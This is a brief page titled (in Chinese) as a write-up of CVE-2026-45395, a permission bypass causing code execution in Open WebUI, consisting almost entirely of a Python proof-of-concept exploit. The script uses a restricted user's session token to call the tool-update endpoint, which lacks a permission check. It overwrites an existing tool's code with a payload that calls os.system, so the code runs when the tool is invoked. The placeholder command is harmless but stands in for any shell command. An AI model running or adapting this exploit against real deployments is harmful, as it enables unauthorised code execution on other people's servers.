CVE-2026-45395 Open WebUI权限绕过致代码执行

import requests # Target configuration target_url = "http://localhost:3000" tool_id = "1" # ID of an existing tool to hijack auth_token = "YOUR_SESSION_TOKEN" # Token from a high-privilege but restricted user # Malicious Python code to execute malicious_python_payload = """ import os # Example: Execute a shell command os.system('touch /tmp/pwned') """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # The vulnerable endpoint missing the workspace.tools permission check vuln_endpoint = f"{target_url}/api/v1/tools/id/{tool_id}/update" payload_data = { "content": malicious_python_payload } try: # Send the update request to overwrite the tool's code response = requests.post(vuln_endpoint, json=payload_data, headers=headers) if response.status_code == 200: print("[+] Tool successfully updated with malicious code.") print("[+] The code will execute when the tool is invoked.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")